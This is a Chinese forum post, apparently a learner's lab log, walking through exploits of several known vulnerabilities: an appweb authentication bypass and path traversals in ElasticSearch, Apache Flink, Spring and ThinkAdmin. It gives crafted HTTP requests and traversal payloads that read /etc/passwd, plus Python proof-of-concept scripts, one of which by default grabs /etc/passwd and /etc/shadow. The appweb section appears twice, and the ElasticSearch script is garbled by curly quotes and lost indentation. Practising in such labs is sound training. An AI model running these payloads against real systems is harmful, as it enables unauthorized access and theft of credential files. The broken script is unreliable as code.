|
楼主 |
发表于 2021-10-24 21:16:05
|
显示全部楼层
昨天出去回来忘了发了,连着昨天的一起发了吧:
## appweb 认证绕过 (cve-2018-8715)
打开后是这样的:
![image-20211024200723656](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024200723656.png)
随便输入一个用户名和密码,打开burpsuite抓包:
![image-20211024201024595](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024201024595.png)
将数据包发送到repeater模块中,并将数据包的内容修改为如下内容:
> GET / HTTP/1.1
> Host: 118.193.36.37:41708
> Accept-Encoding: gzip, deflate
> Accept: */*
> Accept-Language: en
> User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
> Connection: close
> Authorization: Digest username=admin
![image-20211024201138319](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024201138319.png)
点击go,在response中得到session:
> Set-Cookie: -http-session-=1::http.session::77ae5fb75cacae887480f1bc53726d79
![image-20211024201440965](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024201440965.png)
重新抓包,并修改数据包内容如下:
> POST / HTTP/1.1
> Host: 118.193.36.37:35391
> User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
> Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
> Accept-Encoding: gzip, deflate
> Connection: close -http-session-=1::http.session::77ae5fb75cacae887480f1bc53726d79
> Upgrade-Insecure-Requests: 1
> Authorization: Digest username=admin
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 14
>
> username=admin
得到如下页面:
![image-20211024202713467](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024202713467.png)
这大概是已经进入了管理员才能进入的页面
但是还是没有找到flag。。。。。
## ElasticSearch目录遍历 (CVE-2015-5531)
影响版本:
1.6.1以前
---
打开后是这样的:
![image-20211023093922638](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023093922638.png)
打开burpsuite抓包:
![image-20211023093946645](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023093946645.png)
将数据包中的内容修改如下:
> ![image-20211023094018986](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023094018986.png)
点击forward后返回如下信息:
![image-20211023094108213](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023094108213.png)
继续刷新页面抓包:
![image-20211023094125926](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023094125926.png)
将数据包修改为如下内容:
> PUT /_snapshot/test2 HTTP/1.1
> Host: 118.193.36.37:24018
> Accept: */*
> Accept-Language: en
> User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
> Connection: close
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 108
>
> {
> "type": "fs",
> "settings": {
> "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
> }
> }
![image-20211023094216779](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023094216779.png)
点击forward后,在URL后面加上:
> /_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
回车后得到如下信息(ASCII值):
![image-20211023093832967](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023093832967.png)
我们知道上述信息为ASCII值,于是我们用浏览器自带的console来解码:
![image-20211023094638431](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023094638431.png)
解码后得到如下信息:
![image-20211023093800737](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023093800737.png)
也可以选择用Python脚本:
```Python
#!/usr/bin/env python
# -*- coding:utf8 -*-
"""
PoC for CVE-2015-5531
Affects ElasticSearch 1.6.0 and prior
"""
import re
import sys
import json
import requests
import urllib
import argparse
import traceback
import termcolor
def colorize_red(string):
"""
:param string:
:return
"""
return termcolor.colored(string, 'red')
def colorize_green(string):
"""
:param string:
:return:
"""
return termcolor.colored(string, 'green')
def create_repos(base_url):
"""
:param base_url:
:return: None
"""
for index, repo_name in enumerate(REPO_NAME_LST):
url = "{0}{1}".format(base_url, repo_name)
req = requests.post(url, json=DATA_REPO_LST[index])
if “acknowledged” in req.json():
print colorize_green(“repository {0}: create success”.format(repo_name))
def grab_file(vuln_url) :
“” "
:param xplurl:
:return:
“”"
req = requests.get(vuln_url)
if req.status_code == 400:
data = req.json()
extrdata = re.findall(r’\d+’, str(data[ 'error']))
decoder = bytearray()
for i in extrdata[ 2:]:
decoder.append(int(i))
print colorize_green(decoder)
def exploit(**args) :
“” "
:param args:
:return:
“”"
target = args[ 'target']
port = args[ 'port']
fpath = args[ 'fpath'].split(‘,’)
fpath = [urllib.quote(fp, safe='') for fp in fpath]
base_url = “ http://{0}:{1}/_snapshot/”.format(target, port)
#create elasticsearch repository for snapshot
create_repos(base_url)
#grab files
for fp in fpath:
vuln_url = ‘{0}{1}/{2}{3}’.format(base_url, REPO_NAME_LST[0], FCK, fp)
print colorize_red(urllib.unquote(fp)) + “:\n”
grab_file(vuln_url)
if __name__ == “__main__”:
# for global
FCK = ‘backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..’
REPO_NAME_LST = ['test11', 'test12']
DATA_REPO_LST = [{"type": "fs", "settings": {"location":
"/tmp/test30"}}, {"type": "fs", "settings": {"location":
"/tmp/test30/snapshot-backdata"}}]
parser = argparse.ArgumentParser(usage=”python cve-2015-5531.py options”,
description=”cve-2015-5531 Vuln PoC”, add_help=True)
parser.add_argument(‘-t’, ‘–target’, metavar=’TARGET’, type=str, dest=”target”, required=True, help=’eg: 127.0.0.1 or www.baidu.com’)
parser.add_argument(‘-p’, ‘–port’, metavar=’PORT’, dest=’port’,
type=int, default=9200, help=’elasticsearch port default 9200′)
parser.add_argument(‘–fpath’, metavar=’FPATH’, dest=’fpath’, type=str,
default=’/etc/passwd,/etc/shadow’ , help=’file to grab multi files
separated by comma ‘)
args = parser.parse_args()
try:
exploit(**args.__dict__)
except:
traceback.print_exc()
```
## Apache Flink目录遍历(CVE-2020-17519)
影响版本:
Apache Flink 1.5.1 ~ 1.11.2
---
打开后是这样的:
![image-20211023163956841](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023163956841.png)
直接在URL后面加上poc:
> /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
得到如下信息:
> root:x:0:0:root:/root:/bin/bash
> daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
> bin:x:2:2:bin:/bin:/usr/sbin/nologin
> sys:x:3:3:sys:/dev:/usr/sbin/nologin
> sync:x:4:65534:sync:/bin:/bin/sync
> games:x:5:60:games:/usr/games:/usr/sbin/nologin
> man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
> lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
> mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
> news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
> uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
> proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
> www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
> backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
> list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
> irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
> gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
> _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
> flink:x:9999:9999::/opt/flink:/bin/sh
![image-20211023164142616](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023164142616.png)
也可以用Python脚本:
```Python
import argparse
import requests
global headers
headers={'cookie': 'UM_distinctid=17333bd886662-037f6fda493dae-4c302372-100200-17333bd8867b; CNZZDATA1278305074=612386535-1594299183-null%7C1594299183; PHPSESSID=drh67vlau4chdn44eadh0m16a0',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'}
class Apache_Flink():
def url(self):
parser = argparse.ArgumentParser(description='Apache Flink(CVE-2020-17519)路径遍历漏洞检测POC')
parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:8090')
args = parser.parse_args()
global target_url
target_url = args.target_url
print("Apache Flink(CVE-2020-17519)路径遍历漏洞检测POC!!")
print("正在执行检测...")
print("目标地址:",target_url)
return target_url
def check(self):
poc = r"/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
url = target_url + poc
try:
re = requests.get(url,headers=headers,timeout=4)
if re.status_code==200 and "root:x" in re.text:
print('漏洞存在')
else:
print('漏洞不存在')
except:
print('访问异常')
if __name__ == '__main__':
flink = Apache_Flink()
flink.url()
flink.check()
```
##
## Spring 目录遍历 (CVE-2020-5410 )
打开后是这样的:
![image-20211024100637447](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024100637447.png)
直接在URL后面加上poc:
> /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Ftmp%23foo/development
回车后,得到如下信息:
![image-20211024100727843](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024100727843.png)
发现flag就在里面:
![image-20211024100752602](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024100752602.png)
> flag-{bmhff2942dd-51ff-44b5-a95e-ec0853412d3b}
## thinkadmin 目录遍历 (CVE-2020-25540)
打开后是这样的:
![image-20211024104633935](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024104633935.png)
(又是一个我以为是错误的页面)
在URL中添加?s=admin/api.Update/node
然后用post方式传送:rules=["/"]
方法如下:
![image-20211024104457009](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024104457009.png)
点击execute后得到如下界面(目录以及hash值):
> {"code":1,"info":"获取文件列表成功!","data":{"rules":["\/"],"ignore":[],"list":[{"name":"\/1.txt","hash":"746c27dcbbf428d7e1e2f1e01d1c839c"},{"name":"\/admin_v6.sql","hash":"a6add0e2aab0e7d45f1ef35ad7846c52"},{"name":"admin\/controller\/Auth.php","hash":"e06dd9f96d529532f6d5dbcf1f0d945c"},{"name":"admin\/controller\/Config.php","hash":"0cbe8fe43bd378360722bc29d0b8f90f"},{"name":"admin\/controller\/Index.php","hash":"da3736920e43b33e18e0ba72407c8588"},
........
(太多了,放一部分)
> {"name":"\/vendor\/zoujingli\/wechat-developer\/_test\/wechat-menu-get.php","hash":"d51c51fb5705a88e34147c2f3ee1be48"},{"name":"\/vendor\/zoujingli\/wechat-developer\/_test\/wechat-qrcode-create.php","hash":"e38b41c8a4f83894ae907a69854794b0"},{"name":"\/vendor\/zoujingli\/wechat-developer\/_test\/wechat-user-get.php","hash":"290875304dc11598a6f9e9ef8f98979a"},{"name":"\/vendor\/zoujingli\/wechat-developer\/composer.json","hash":"7db3f4ea9c17c21174c665b22992e97a"},{"name":"\/vendor\/zoujingli\/wechat-developer\/include.php","hash":"1434ae58cf94166d7097fe29ba0d42da"},{"name":"\/vendor\/zoujingli\/wechat-developer\/readme.md","hash":"5dc2765147e9aff90a838578a1dd8083"}]}}
![image-20211024104839677](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024104839677.png)
但是并没有找到flag
## appweb 认证绕过 (cve-2018-8715)
打开后是这样的:
![image-20211024200723656](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024200723656.png)
随便输入一个用户名和密码,打开burpsuite抓包:
![image-20211024201024595](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024201024595.png)
将数据包发送到repeater模块中,并将数据包的内容修改为如下内容:
> GET / HTTP/1.1
> Host: 118.193.36.37:41708
> Accept-Encoding: gzip, deflate
> Accept: */*
> Accept-Language: en
> User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
> Connection: close
> Authorization: Digest username=admin
![image-20211024201138319](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024201138319.png)
点击go,在response中得到session:
> Set-Cookie: -http-session-=1::http.session::77ae5fb75cacae887480f1bc53726d79
![image-20211024201440965](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024201440965.png)
重新抓包,并修改数据包内容如下:
> POST / HTTP/1.1
> Host: 118.193.36.37:35391
> User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
> Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
> Accept-Encoding: gzip, deflate
> Connection: close -http-session-=1::http.session::77ae5fb75cacae887480f1bc53726d79
> Upgrade-Insecure-Requests: 1
> Authorization: Digest username=admin
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 14
>
> username=admin
得到如下页面:
![image-20211024202713467](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024202713467.png)
这大概是已经进入了管理员才能进入的页面
但是还是没有找到flag。。。。。 |
|